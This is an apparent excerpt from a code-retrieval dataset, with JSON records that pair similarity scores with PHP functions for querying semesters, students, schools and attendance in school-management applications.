"0.6503972", "text": "public function getSubjects($semesterId) {\n return $this->db\n ->from('subject')\n ->select('subjectName, subjectCode, idSubject, moduleName')\n ->join('subjectofmodule', 'idSubject')\n ->join('module', 'idModule')\n ->join('moduleofteachingunit', 'idModule')\n ->join('teachingunitofcourse', 'idTeachingUnit')\n ->join('semester', 'idCourse')\n ->where('idSemester', $semesterId)\n ->get()\n ->result();\n }", "title": "" }, { "docid": "e6dda86d011bcb254eadb7caf88a607a", "score": "0.6443316", "text": "public function semestersIndex()\n {\n $charts = Chart::all();\n $semesters = Semester::all();\n return view('admin.semester.index' , compact('semesters' , 'charts'));\n }", "title": "" }, { "docid": "80892efbf6325fe698d664e58c525567", "score": "0.6408716", "text": "public function getSemesterDates()\n {\n $dateHelper = new \\App\\DateHelper();\n \n $currentDate = \\DateTime::createFromFormat('Y.m.d', $this->elso_tanitasi_nap);\n $endDate = \\DateTime::createFromFormat('Y.m.d', $this->utolso_tanitasi_nap);\n \n $kivetelek = $this->nincs_tanitas;\n \n $napok = array();\n while($currentDate <= $endDate)\n {\n $nap = $currentDate->format('N');\n if ($nap > 5)\n {\n $currentDate->add(new \\DateInterval('P1D'));\n continue;\n }\n \n $d = $currentDate->format('Y.m.d');\n $napok[] = array(\n 'van_tanitas' => !in_array($d, $kivetelek),\n 'datum' => $d,\n 'nap_neve' => $dateHelper->getDayName($currentDate)\n );\n \n $currentDate->add(new \\DateInterval('P1D'));\n }\n \n return $napok;\n }", "title": "" }, { "docid": "3dac8de5ca6968d951552ea7cf77de4d", "score": "0.6403471", "text": "function getAllStudents(){\n\t\t$query = \"SELECT * FROM students\";\n\t\t$result = get($query);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "e22a3f6d453c3d82e5f22bd7f0f8acfd", "score": "0.63989276", "text": "public function getAllSchool();", "title": "" }, { "docid": "e36b28b463bdf0dcaf90376174116d65", "score": "0.6394869", "text": "public function getSemesterByYearId($year_id)\n\t{\n\t\ttry {\n\t\t\t$sql = \"SELECT a.sem_id, a.sem_name FROM semester as a INNER JOIN student_class as b WHERE a.s_class_id = b.s_class_id AND a.s_class_id = ?;\";\n\t\t\t$stmt = $this->connect()->prepare($sql);\n\t\t\t$stmt->execute($year_id);\n\t\t\treturn $stmt->fetchAll();\n\t\t} catch (PDOException $e) {\n\t\t\treturn array(\"e\" => $e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "9233bb2eea51879e355e778a87058b37", "score": "0.63507843", "text": "public function getAllStudent()\n\t{\n\t\ttry {\n\t\t\t$sql = \"SELECT a.*, b.dept_name,c.s_class_name,d.div_name,e.batch_name FROM student as a JOIN department as b ON a.dept_id = b.dept_id JOIN student_class as c ON a.year_id = c.s_class_id JOIN division as d ON a.div_id = d.div_id JOIN batch as e ON a.batch_id = e.batch_id ORDER BY a.prn_no;\";\n\t\t\t$stmt = $this->connect()->prepare($sql);\n\t\t\t$stmt->execute();\n\t\t\treturn $stmt->fetchAll();\n\t\t} catch (PDOException $e) {\n\t\t\treturn array(\"e\" => $e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "ca71b53934fa91273f2582deb6572d10", "score": "0.63167745", "text": "public function allStudent()\n\t\t{\n\t\t\t$data = $this -> all('students', 'DESC');\n\t\t\tif ( $data ) {\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t}", "title": "" }, { "docid": "9ae58e7500fba0e05d88100b6666ad7f", "score": "0.631015", "text": "public function semester_get(){\n\n $prgid = $this->input->post('program_branch');\n\n //$uid=$this->session->userdata('id_user');\n //get program list of program,subject,paper and semester in program_subject_teacher\n $selectfield=array('pstp_sem');\n $data=array(\n 'pstp_prgid' =>$prgid\n );\n $sem = $this->commodel->get_distinctrecord('program_subject_teacher',$selectfield,$data);\n\n //$sem = $this->commodel->get_listspfic2('program_subject_teacher','','pstp_sem','pstp_prgid',$prgid,'pstp_sem');\n echo \"<select name='semester' id='semester'>\";\n echo \"<option selected='true' disabled>\".\"Semester\".\"</option>\";\n foreach($sem as $datas):\n echo \"<option value='$datas->pstp_sem'>\".\"$datas->pstp_sem\".\"</option>\";\n endforeach;\n echo \"</select>\";\n }", "title": "" }, { "docid": "fbf2ec134817f9874e151f9e3cfef67d", "score": "0.6299753", "text": "public function overview () {\n\t\t//$semesters = $this->Semester->find('all', array('recursive' => -1,\n\t\t\t//\t\t\t\t\t\t\t\t\t\t\t'order' => 'Semester.start DESC'));\n\t\t$semesters = $this->paginate('Semester');\t\n\t\t\n\t\t$access = $this->Access->getPermissions();\n\t\tif (!$access['summary']) {\n\t\t\t$this->revisit('/users/home');\n\t\t}\n\t\t\n\t\t$permissions = array();\n\t\t$status = array();\n\t\tforeach ($semesters as $semester) {\n\t\t\t$permissions[$semester['Semester']['id']] = $this->Access->read($this->Semester, $semester['Semester']['id']);\n\t\t\t$status[$semester['Semester']['id']] = $this->Semester->status($semester['Semester']['id']);\n\t\t}\n\t\t\n\t\t$closeable = array();\n\t\tforeach ($semesters as $sem) {\n\t\t\t$this->Semester->id = $sem['Semester']['id'];\n\t\t\t$aco = @$this->Semester->node();\n\t\t\t\n\t\t\t$perm = $this->Acl->check(\n\t\t\t\tarray('model' => 'Group',\n\t\t\t\t\t 'foreign_key' => $this->groups['SectionHeads']),\n\t\t\t\t$aco[0]['Aco'], 'approve');\n\t\t\t\n\t\t\tif ($this->Semester->hasPassed($sem['Semester']['id']) && $perm) {\n\t\t\t\t$closeable[$sem['Semester']['id']] = true;\n\t\t\t} else {\n\t\t\t\t$closeable[$sem['Semester']['id']] = false;\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->set('access', $access);\n\t\t$this->set('closeable', $closeable);\n\t\t$this->set('semesters', $semesters);\n\t\t$this->set('permissions', $permissions);\n\t\t$this->set('status', $status);\n\t\t$this->visited();\n\t}", "title": "" }, { "docid": "f99e0c4858a8390bdf636e65a9285cd6", "score": "0.6292331", "text": "public function index()\n {\n $courses = StudentCoutse::get();\n foreach($courses as $course){\n $course->majors;\n }\n return $courses;\n\n }", "title": "" }, { "docid": "f3a05b7fb4be5ef6222a8a04efc5b144", "score": "0.6265023", "text": "function projects_list_get()\n {\n $semester_data=$this->semester_model->get_all_projects();\n if (count($semester_data)>0) \n {\n $this->response(array(\n 'status' =>1,\n 'message'=>'List of Semester Projects',\n 'data'=>$semester_data\n ), parent::HTTP_OK);\n }else{\n $this->response(array(\n 'status' =>0,\n 'message'=>'No Records Found!'\n ), parent::HTTP_NOT_FOUND);\n } \n }", "title": "" }, { "docid": "2d596b506b09dac5ee69a7bc1f76ffe2", "score": "0.62626874", "text": "public function bySemester($startMonth = 1, $endMonth = 6, $startYear = 2008, $endYear = 2018 )\n {\n return $this->getModel()->whereRaw( \"MONTH(\".created_at().\") BETWEEN $startMonth AND $endMonth\" )\n ->whereRaw( \"YEAR(\".created_at().\") BETWEEN $startYear AND $endYear\" )\n ->whereHas('status', function ($query) {\n $query->where([\n [status_name(), approved_status()],\n [status_type(), status_type_file()],\n ]);\n });\n }", "title": "" }, { "docid": "5c525d5f6914ccdff8742c0972561a5a", "score": "0.6256739", "text": "public function index()\n\t{\n\t\treturn Response::json(Student::with(array('info', 'group', 'group.study'))->get(),200, array(), JSON_PRETTY_PRINT);\n\t\t//return Response::json(array('error' => true, 'message' => 'Illigal request: can not gather all students'));\n\t}", "title": "" }, { "docid": "ecb64c3d32ceae224fa7516328974ebf", "score": "0.62389016", "text": "function course_semester_student($course_id = '', $semester_id = '') {\n $this->load->model('admin/Crud_model');\n $students = $this->Crud_model->course_semester_student($course_id, $semester_id);\n foreach ($students as $row) {\n ?>\n <option value=\"<?php echo $row->std_id; ?>\"><?php echo $row->std_first_name . ' ' . $row->std_last_name; ?></option>\n <?php\n }\n }", "title": "" }, { "docid": "c80719c635cbe7e1803ff81142101996", "score": "0.6209932", "text": "public function semesterregi(){\n\t\t$suid=$this->session->userdata('id_user');\n\t\t$Stuid=$this->commodel->get_listspfic1(\"student_master\",\"sm_id\",\"sm_userid\",$suid)->sm_id;\n\t\t$this->appno = $this->commodel->get_listspfic1('student_entry_exit','senex_entexamapplicationno','senex_smid',$Stuid)->senex_entexamapplicationno;\n\t\t$stud_prg_rec = $this->commodel->get_listrow('student_program','sp_smid',$Stuid);\n \t$degree_id = $stud_prg_rec->row()->sp_programid;\n \t$noofsemester = sizeof($stud_prg_rec->result());\n\n\t\t\n\t\t$cacadyer = $this->usermodel->getcurrentAcadYear();\n \t$semestertype = $this->usermodel->getcurrentSemester();\n \t$semesterrec = $this->stumodel->get_semester_no($Stuid,$cacadyer);\n// \t$semsize = sizeof($semesterrec);\n//\t\t$this->curresem = $semsize;\n\n\n\t\t//student personnel detail\n\t\t$this->name=$this->commodel->get_listspfic1(\"student_master\",\"sm_fname\",\"sm_userid\",$suid)->sm_fname;\n\t\t$this->sturollno = $this->commodel->get_listspfic1('student_entry_exit','senex_rollno','senex_smid',$Stuid)->senex_rollno;\n\t\t$this->mobile=$this->commodel->get_listspfic1('student_master','sm_mobile','sm_id',$Stuid)->sm_mobile;\n\t\t$this->email=$this->commodel->get_listspfic1('student_master','sm_email','sm_id',$Stuid)->sm_email;\n\t\t$this->dob=$this->commodel->get_listspfic1('student_master','sm_dob','sm_id',$Stuid)->sm_dob;\n\t\t$this->uid=$this->commodel->get_listspfic1('student_master','sm_uid','sm_id',$Stuid)->sm_uid;\n\t\t$this->bgroup=$this->commodel->get_listspfic1('student_master','sm_bloodgroup','sm_id',$Stuid)->sm_bloodgroup;\n\t\t$this->gender=$this->commodel->get_listspfic1('student_master','sm_gender','sm_id',$Stuid)->sm_gender;\n\t\t$this->religname=$this->commodel->get_listspfic1('student_master','sm_religion','sm_id',$Stuid)->sm_religion;\n \n\t\t//student parent and course detail\n\t\t$this->mname = $this->commodel->get_listspfic1('student_parent','spar_mothername','spar_smid',$Stuid)->spar_mothername;\t\t\n\t\t$this->fathname=$this->commodel->get_listspfic1('student_parent','spar_fathername','spar_smid',$Stuid)->spar_fathername;\n\t\t\n\t\t$this->sem = $this->commodel->get_listspfic1('student_program','sp_semester','sp_smid',$Stuid)->sp_semester;\n\t\t\n\t\t$this->ncid = $this->commodel->get_listspfic1('student_program','sp_programid','sp_smid',$Stuid)->sp_programid;\n\t\t//get programe name\n\t\t$this->pname = $this->commodel->get_listspfic1('program','prg_name','prg_id',$this->ncid)->prg_name;\n\t\t$this->progid = $this->commodel->get_listspfic1('program','prg_id','prg_name',$this->pname)->prg_id;\n\t\t\n\t\t//get program category name\n\t\t$this->pcatid = $this->commodel->get_listspfic1('student_program','sp_pcategory','sp_smid',$Stuid)->sp_pcategory;\n\t\t$this->pcatname = $this->commodel->get_listspfic1('programcategory','prgcat_name','prgcat_id',$this->pcatid)->prgcat_name;\n\n\t\t//postal address detail\n\t\t$this->padd=$this->commodel->get_listspfic1('student_parent','spar_caddress','spar_smid',$Stuid)->spar_caddress;\n\t\t$this->pcity=$this->commodel->get_listspfic1('student_parent','spar_ccity','spar_smid',$Stuid)->spar_ccity;\n\t\t$this->ppost=$this->commodel->get_listspfic1('student_parent','spar_cpostoffice','spar_smid',$Stuid)->spar_cpostoffice;\n\t\t$this->pdist=$this->commodel->get_listspfic1('student_parent','spar_cdistrict','spar_smid',$Stuid)->spar_cdistrict;\n\t\t$this->pstat=$this->commodel->get_listspfic1('student_parent','spar_cstate','spar_smid',$Stuid)->spar_cstate;\n\t\t$this->ppin=$this->commodel->get_listspfic1('student_parent','spar_cpincode','spar_smid',$Stuid)->spar_cpincode;\n\t\t$this->pcounname=$this->commodel->get_listspfic1('student_parent','spar_ccountry','spar_smid',$Stuid)->spar_ccountry;\n\t\t\n\t\t//get student category\n\t\t$this->cateid=$this->commodel->get_listspfic1('student_master','sm_category','sm_id',$Stuid)->sm_category;\n\t\t$this->catename=$this->commodel->get_listspfic1('category','cat_name','cat_id',$this->cateid)->cat_name;\n\n\t\t//get study center\n\t\t$this->sccode=$this->commodel->get_listspfic1('student_master','sm_sccode','sm_id',$Stuid)->sm_sccode;\n\t\t//$this->scname=$this->commodel->get_listspfic1('study_center','sc_name','sc_code',$this->sccode)->sc_name;\n\t\t$this->scname=$this->commodel->get_listspfic1('org_profile','org_name','org_id',$this->sccode)->org_name;\n\n\t\t//get branch name\n\t\t$this->brid=$this->commodel->get_listspfic1('student_program','sp_branch','sp_smid',$Stuid)->sp_branch;\n\t\t$this->brname=$this->commodel->get_listspfic1('program','prg_branch','prg_id',$this->brid)->prg_branch;\n\t\t//get department name\n\t\t$this->depid=$this->commodel->get_listspfic1('student_program','sp_deptid','sp_smid',$Stuid)->sp_deptid;\n\t\t$this->depname=$this->commodel->get_listspfic1('Department','dept_name','dept_id',$this->depid)->dept_name;\n\n//\t\techo $getspid = array('sp_smid' => $Stuid, 'sp_semester' => $semsize);\n\t\t$getspid = array('sp_smid' => $Stuid, 'sp_semester' => $noofsemester);\n\t \t$spstid = $this->commodel->get_listspficemore('student_program','sp_id',$getspid);\n\t\t\n\t\tforeach($spstid as $stspid){\n\t\t\t$this->cusem = $this->commodel->get_listspfic1('student_program','sp_semester','sp_id',$stspid->sp_id)->sp_semester;\n\t\t}\n//\t\t$datawh = array('sp_smid' => $Stuid, 'sp_semester' => $semsize);\n\t\t$datawh = array('sp_smid' => $Stuid, 'sp_semester' => $noofsemester);\n\t $diffdate = $this->commodel->get_listspficemore('student_program','sp_programid,sp_semregdate',$datawh);\n\t\tforeach($diffdate as $spdate):\n\t\t $semdiffdate = $this->datmodel->diffdays($spdate->sp_semregdate);\n\t\t\t$spprgid = $spdate->sp_programid;\n\t\tendforeach;\t\n //echo $spprgid;\n\t\t$prgpattern=$this->commodel->get_listspfic1('program','prg_pattern','prg_id',$spprgid)->prg_pattern;\n //echo \"<br>\";\n\t\t $tmonth = $semdiffdate/30;\n // get semester no in which student have to be registered.\n\n /* get the total semester count in an academic year,if semester is even,there may be two \n * records in an academic year ,if not so ask for current semester registraion.\n * if semester id Odd there will be 1 records in an academic year otherwise ask for \n * semester registration.\n */\n $semesterrec = $this->stumodel->get_semester_no($suid,$cacadyear);\n $semsize = sizeof($semesterrec);\n\n if($semestertype == \"Odd\")\n {\n if($semsize == 1)\n {\n $semester = $noofsemester;\n }\n else\n {\n $semester = $noofsemester + 1;\n //$semester = \"Please register in the semester \".$semester;\n //echo message for semester registration\n // redirect('studenthome/studentsubject/');\n // return;\n }\n }\n if($semestertype == \"Even\")\n {\n if($semsize == 2)\n {\n $semester = $noofsemester;\n }\n else\n {\n $semester = $noofsemester + 1;\n //$semester = \"Please register in the semester \".$semester;\n // redirect('studenthome/studentsubject/');\n // return;\n }\n }\n $this->cusem = $semester;\n\n /* calculate minimum months required to complete a semester or year. \n * for yearly program, it should be greater than 11 months and semester \n * system it should be months to register in a next year and semester \n * as well as. \n */\n \t\t\t\t\t\n\t\tif((($tmonth > 5) && ($prgpattern == 'Semester')) || (($tmonth > 11) && ($prgpattern == 'Yearly')))\n\t\t{\n\t\t if(isset($_POST['register']))\n\t\t\t{\t\n\t\t\t $this->form_validation->set_rules('Ssem','Semseter','trim|xss_clean|required');\n\t\t\t\t//Re-populate field\n\t\t\t\tif($_POST)\n\t\t\t\t{\n\t\t\t\t $this->data['Ssem']=$this->input->get_post('Ssem');\n\t\t\t\t}//re populate if close\t\n\t\t\t\tif ($this->form_validation->run() == FALSE) {\t\n\t\t\t\t\t\t\t//$message = '<h3>Your some detail is incorrect .</h3>';\n\t \t\t\t\t\t\t//$this->session->set_flashdata('msg',$message);\n\t\t\t\t\t\t\t//redirect('request/registartionsemester');\n\t\t\t\t}\t\t\t\t\n\t\t\t\telse{\n\t\t\t\t\t//update in student_master\n \t \t\t $this->db->trans_begin();\n\n\t\t\t\t\t$cdate = date(\"Y-m-d h:i:sa\");\t\t\t\t\t \t\n\t\t\t \t\tif($_POST['Ssem'] != $semsize){\t\t\t\t\n\t\t\t\t\t //insert program data in student_program\n\t\t\t\t\t\t$progdata = array (\n\t\t\t\t\t\t\t\t'sp_smid'\t=>\t$Stuid,\n\t\t\t\t\t\t\t\t'sp_programid'\t=>\t$this->ncid,\n\t\t\t\t\t\t\t\t'sp_deptid'\t=>\t$this->depid,\t\t\n\t\t\t\t\t\t\t\t'sp_sccode'\t=>\t$this->sccode,\n\t\t\t\t\t\t\t\t'sp_pcategory'\t=>\t$this->pcatid,\n\t\t\t\t\t\t\t\t'sp_branch'\t=>\t$this->brid,\n\t\t\t\t\t\t\t\t'sp_acadyear'\t=>\t$cacadyer,\n\t\t\t\t\t\t\t\t'sp_semregdate' =>\t$cdate,\n\t\t\t\t\t\t\t\t'sp_semester'\t=> $_POST['Ssem']\n\t\t\t\t\t\t\t\t); \n\t\t\t \t\t\t$this->db->insert('student_program',$progdata);\n\t\t\t \t\t\t$sprogramid = $this->db->insert_id();\n\t\t\t\t\t}\n\t\t\t\t\telse\n \t\t\t{\n\t\t\t\t\t \t$message1 = $semsize;\n\t\t\t\t\t\t$message = '<h3>You are already register in'.\" \". $semsize .\" \". $prgpattern.'</h3>';\n\t \t\t\t\t\t$this->session->set_flashdata('success',$message);\n\t\t\t\t\t\tredirect('request/semesterregi');\n\t\t\t\t\t}\n\n\t\t\t\t\t//insert smid and spid in student fees\n\t\t\t\t\t$feesdata = array (\n\t\t\t\t\t 'sfee_smid'\t=>\t$Stuid,\n\t\t\t\t\t\t'sfee_spid'\t=>\t$sprogramid\n\t\t\t\t \t\t); \n\t\t\t\t\t$this->db->insert('student_fees',$feesdata);\n\n\t\t\t\t //make transaction complete\n \t\t\t$this->db->trans_complete();\n\t\t\t\n\t \t\t\t\t//check if transaction status TRUE or FALSE\n \t\t\tif ($this->db->trans_status() === FALSE) {\n\t\t\t\n \t\t//if something went wrong, rollback everything\n \t\t $this->db->trans_rollback();\n\t\t\t\t\t\t$this->logger->write_logmessage(\"update\", \"Student registration not update record in student_master table.\");\n \t$this->logger->write_dblogmessage(\"update\", \"Student registration not update record in student_master table.\");\n\t\t\t\t\t\t$this->load->view('request/registartionsemester');\n\t\t\t\t\t\t//redirect('request/stufeesdetail');\n \t\t\t\t//return FALSE;\n \t\t\t } else {\t\n \t\t\t\t\t//if everything went right, commit the data to the database\n \t\t\t $this->db->trans_commit();\n\t\t\t \t\t.//\t$message = '<h3>Your registration successfully done.</h3>';\n\t \t\t\t\t//\t$this->session->set_flashdata('msg',$message);\t\n\t \t\t\t\t$this->session->set_flashdata('success', 'Your registration successfully done.');\t\t\n\t\t\t\t\t\t$this->logger->write_logmessage(\"update\", \"Student registration successfull update record in student_master table\");\n \t$this->logger->write_dblogmessage(\"update\", \"Student registration successfull update record in student_master table\" );\n\t\t\t\t\t\tredirect('request/stufeesdetail');\n \t\t \t\t\t//return TRUE;\n \t\t\t \t}\n\t\t\t }//close first else\t\n\t\t\t}//if post close\n\t\t}//close semster difference if\n\t\telse{\n\t\t//\t$message = '<h3>You can not register for next semester registration because you can not complete minimum duration.</h3>';\n \t\t\t//$this->session->set_flashdata('err_message',$message);\n \t\t\t$this->session->set_flashdata('err_message', 'You can not register in ' .$semester. ' semester because you can not complete minimum duration.');\n\t\t\tredirect('studenthome');\n //redirect('request/semesterregi');\n\t\t }\t\n\t$this->load->view('request/registartionsemester');\n\t}", "title": "" }, { "docid": "08a25b5c8efaa539c2c43cf58a432229", "score": "0.61901677", "text": "public function all(){\r\n $this->load->model('admin/lesson_model', 'lesson');\r\n\r\n $this->data['listL'] = $this->lesson->getAll()->result();\r\n $this->data['query'] = $this->student->lyst()->result();\r\n\r\n $this->render('admin/student/list', 'Liste des apprenants');\r\n }", "title": "" }, { "docid": "13ccb156293548d4ebeb12b22a9d7384", "score": "0.6181828", "text": "public function allStudent()\n\t\t{\n\t\t\t$sql = \"SELECT * FROM students\";\n\t\t\t$all_data = parent::DbConnection() -> query($sql);\n\t\t\treturn $all_data;\n\t\t}", "title": "" }, { "docid": "a234faf4844a9e0cf7a618d9f64d25c5", "score": "0.6161898", "text": "public function rekapabsensisemester()\n {\n $siswa = Siswa::orderby('created_at', 'DESC');\n\n $kelas = array(\n 'X AK 1' => 'X AK 1',\n 'X AK 2' => 'X AK 2',\n 'X AK 3' => 'X AK 3',\n 'X FARMASI' => 'X FARMASI',\n 'X RPL 1' => 'X RPL 1',\n 'X RPL 2' => 'X RPL 2',\n 'XI AK 1' => 'XI AK 1',\n 'XI AK 2' => 'XI AK 2',\n 'XI FARMASI' => 'XI FARMASI',\n 'XI RPL 1' => 'XI RPL 1',\n 'XI RPL 2' => 'XI RPL 2',\n 'XII AK 1' => 'XII AK 1',\n 'XII AK 2' => 'XII AK 2',\n 'XII FARMASI' => 'XII FARMASI',\n 'XII RPL 1' => 'XII RPL 1',\n 'XII RPL 2' => 'XII RPL 2',\n );\n\n $semester = array(\n 'Semester 1' => 'Semester 1',\n 'Semester 2' => 'Semester 2',\n );\n \n $content['siswas'] = $siswa->get();\n $content['kelas'] = $kelas;\n $content['semester'] = $semester;\n return View::make('absensi.rekapabsensisemester')\n ->with('content', $content);\n\n // return View('absensi.rekapabsensisemester');\n }", "title": "" }, { "docid": "50b96858c3d9488d7065d9a54527cc8d", "score": "0.61551213", "text": "public function getAvailableSections () {\n\t\treturn $this->Contingent->find('all',\n\t\t\t\tarray('conditions' => array('Semester.start <= CURRENT_DATE()',\n\t\t\t\t\t\t\t 'Semester.final_deadline >= CURRENT_DATE()',\n\t\t\t\t\t\t\t 'Semester.published' => '<> 0',\n\t\t\t\t\t\t\t 'Contingent.contingent > 0'),\n\t\t\t\t 'fields' => array('DISTINCT Section.id', 'Section.abbreviation', 'Section.name', 'Section.description'),\n\t\t\t\t 'limit' => 40,\t \t\t\n\t\t \t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "7fe5c03437c2f8c795872b6257e59f87", "score": "0.6149896", "text": "public function studentList()\n {\n $res=parent::studentlist();\n return $res;\n }", "title": "" }, { "docid": "2168f4707b117ef4c2da4b9eb67a771c", "score": "0.61427325", "text": "public static function allStudents() {\n $database = DatabaseFactory::getFactory()->getConnection();\n $students = $database->prepare(\"SELECT s.student_id, s.id_tutor, s.name, s.surname,\n s.lastname, s.age, s.genre, s.avatar, g.class_id,\n g.convenio, sd.studies, sd.lastgrade, sd.workplace as school\n FROM students as s, students_groups as g, students_details as sd\n WHERE s.status = 1\n AND s.deleted = 0\n AND s.student_id = g.student_id\n AND s.student_id = sd.student_id;\");\n $students->execute();\n if ($students->rowCount() > 0) {\n return $students->fetchAll();\n }\n\n return null;\n }", "title": "" }, { "docid": "9e823bf4ef7b9cfc705c09f0e0faf099", "score": "0.6142436", "text": "function get_semesters_of_branch($branch_id = '') {\n $this->load->model('professor/Professor_model');\n $semester = $this->Professor_model->get_semesters_of_branch($branch_id);\n\n echo json_encode($semester);\n }", "title": "" }, { "docid": "436f53878e0c6a7b92d9f8b26bcf74b7", "score": "0.6134548", "text": "public static function getAll()\n {\n // $connection = $conn->getDb();\n \n # Mesma coisa do que o de cima\n $connection = Connection::getDb();\n \n $stmt = $connection->query(\"SELECT * FROM students\");\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "fd2d22b12f37ddd99819dfd7a9e7ab42", "score": "0.61318034", "text": "function getAllStudents(){\n\t\t$methodName = \"getAllStudents()\";\n\t\t$this->printBeginTest($methodName);\n\t\t\n\t\t// fecth data from DB\n\t\t$this->loadModel(MODEL_STUDENT);\n\t\t$students = $this->Student->find(CHARACTER_ALL);\n\t\t\n\t\t// Display result\n\t\t$count = 1;\n\t\tforeach ($students as $student) {\n\t\t\techo \"&nbsp Student \" . $count . \"<br>\";\n\t\t\techo \"&nbsp&nbsp&nbsp&nbsp\tName: \" . $student[MODEL_STUDENT][COLUMN_LASTNAME] . \" \" . $student['Student'][COLUMN_FIRSTNAME] . \"<br>\";\n\t\t\techo \"&nbsp&nbsp&nbsp&nbsp\tAddress: \" . $student[MODEL_STUDENT][COLUMN_ADDRESS] . \"<br>\";\n\t\t\techo \"&nbsp&nbsp&nbsp&nbsp\tEmail: \" . $student[MODEL_STUDENT][COLUMN_EMAIL] . \"<br>\";\n\t\t\t$count++;\n\t\t}\n\t\t\n\t\t$this->printEndTest($methodName);\n\t}", "title": "" }, { "docid": "9f0d4329cf74de3040bcf09a429e4ad4", "score": "0.61284876", "text": "function getAllSchools()\n {\n $sql = \"SELECT * FROM School \";\n\n $statement = $this->_dbh->prepare($sql);\n $statement->execute();\n\n return $statement->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "f797ba69e4d3acd352d32f2cce7f529e", "score": "0.61064243", "text": "public function index(Request $request)\n {\n // Semester 1\n $students = User::where('semester1', session('semester'))->where('admin', 0)->get();\n // Semester 2\n $students = $students->merge( User::where('semester2', session('semester'))->where('admin', 0)->get() );\n\n return view('courses.index', compact('students'));\n }", "title": "" }, { "docid": "860ce642acc4a42cb11205fdb6e3b3ce", "score": "0.6104216", "text": "function semesters_list_from_branch($branch_id) {\n\n $this->load->model('admin/Crud_model');\n $semester = $this->Crud_model->get_semesters_of_branch($branch_id);\n\n echo json_encode($semester);\n }", "title": "" }, { "docid": "18a6932ca45ddf7089940ca781fa381b", "score": "0.60837704", "text": "public function getStudents()\n {\n return ( $this->getSchool() )\n ? $this->getSchool()->getStudents()\n : [];\n }", "title": "" }, { "docid": "4c1f17689cd20df9d0f7451c237fdcbf", "score": "0.60669756", "text": "public function getSemester()\n {\n return $this->semester;\n }", "title": "" }, { "docid": "d976d893a03bfad026c2dcf94ec2773b", "score": "0.6062328", "text": "public function index() {\n\t\t$title = trans( 'attendance.attendances' );\n $school_year_id = session('current_school_year');\n $school_id = session('current_school');\n $semester = $this->semesterRepository->getActiveForSchoolAndSchoolYear($school_id,$school_year_id);\n if(Settings::get('number_of_semesters') > 1 && isset($semester)){\n $semester_id = $semester->id;\n }else{\n $semester_id = 0;\n }\n\t\t$students = $this->studentRepository->getAllForStudentGroup( session( 'current_student_group' ) )\n\t\t ->map( function ( $student ) {\n\t\t\t return [\n\t\t\t\t 'id' => $student->id,\n\t\t\t\t 'name' => $student->user->full_name,\n\t\t\t ];\n\t\t } )->pluck( 'name', 'id' )->toArray();\n\n\t\t$attendance_type = $this->optionRepository->getAllForSchool( session( 'current_school' ) )\n\t\t ->where( 'category', 'attendance_type' )->get()\n\t\t ->map( function ( $option ) {\n\t\t\t return [\n\t\t\t\t \"title\" => $option->title,\n\t\t\t\t \"value\" => $option->id,\n\t\t\t ];\n\t\t } )->pluck( 'title', 'value' )->toArray();\n\n\t\t$hour_list = $this->timetableRepository->getAll()\n\t\t ->with( 'teacher_subject' )\n\t\t ->get()\n\t\t ->filter( function ( $timetable ) use ($semester_id) {\n\t\t\t return ( isset( $timetable->teacher_subject->teacher_id ) &&\n\t\t\t $timetable->teacher_subject->teacher_id == $this->user->id &&\n ($timetable->semester_id == $semester_id ||\n $timetable->semester_id==0) &&\n\t\t\t $timetable->week_day == date( 'N', strtotime( \"- 1 day\", strtotime( 'now' ) ) ) &&\n\t\t\t $timetable->teacher_subject->student_group_id == session( 'current_student_group' ) );\n\t\t } )\n\t\t ->map( function ( $timetable ) {\n\t\t\t return [\n\t\t\t\t 'id' => $timetable->hour,\n 'hour' => (isset($timetable->timetable_period->start_at)?\n ($timetable->hour .'('.$timetable->timetable_period->start_at.' - '\n .$timetable->timetable_period->end_at.')'):\n $timetable->hour)\n\t\t\t ];\n\t\t } )->pluck( 'hour', 'id' )->toArray();\n\n\t\treturn view( 'attendance.index', compact( 'title', 'students', 'attendance_type', 'hour_list' ) );\n\t}", "title": "" }, { "docid": "7886647c8c50f86eadd9f580e0062d94", "score": "0.60059845", "text": "public function getConferenceInfoList()\n {\n $sMonth = $this->input->post('sMonth', true);\n $sYear = $this->input->post('sYear', true);\n\n if(empty($sMonth) && empty($sYear)) {\n $month = $this->mdl->getCurDate();\n $year = $this->mdl->getCurDate();\n\n $curMonth = $month->SYSDATE_MM;\n $curYear = $month->SYSDATE_YYYY;\n } else {\n $curMonth = $sMonth;\n $curYear = $sYear;\n }\n\n // get available records\n $data['conference_inf_list'] = $this->mdl->getConferenceInfoList($curMonth, $curYear);\n\n $this->render($data);\n }", "title": "" }, { "docid": "eaaefbe7dffd532ab9ce6e1dacd8a94f", "score": "0.59913737", "text": "public function get_assign_sub_for_semester($std_dept,$std_batch,$std_section,$chack_date){\n $query = $this->db->order_by('assign_semester_code','DESC')->get_where('msit_tb_assign_semester',\n array('assign_dept'=>$std_dept,'assign_batch'=>$std_batch,'assign_section'=>$std_section ,'assign_reg_start_date' => $chack_date));\n return $query->result();\n }", "title": "" }, { "docid": "c62307dcb4e5aeefd2f65304cbfb79d5", "score": "0.5983206", "text": "public function get($semesterId)\n {\n return $this->db->from('Semester')\n ->join('Course', 'idCourse')\n ->where('idSemester', $semesterId)\n ->get()\n ->row();\n }", "title": "" }, { "docid": "98e12bf3b55cf6742d68ad5debd143b9", "score": "0.59543514", "text": "public function get_all_school_list()\n {\n $this->db->select('*');\n $this->db->from('cms_schools');\n $this->db->where('schl_status','0');\n $query = $this->db->get();\n //echo $this->db->last_query();\n return $query->result();\n }", "title": "" }, { "docid": "ce3c35e3cd00080c29dfd47bfa78f724", "score": "0.59516877", "text": "public function index(Request $request)\n {\n\n //type=2是學生系統\n $check_admin = Fun::where('user_id',auth()->user()->id)\n ->where('type','2')\n ->first();\n $student_admin = (empty($check_admin))?\"0\":\"1\";\n\n $semester = (!empty($request->input('semester')))?$request->input('semester'):get_semester();\n\n\n //取學期選單\n $semesters = get_semester_menu();\n\n $all_student = 0;\n $students_data = [];\n $out_students = [];\n\n //統計班級數\n $year_class = [\n '一年級' => \"0\",\n '二年級' => \"0\",\n '三年級' => 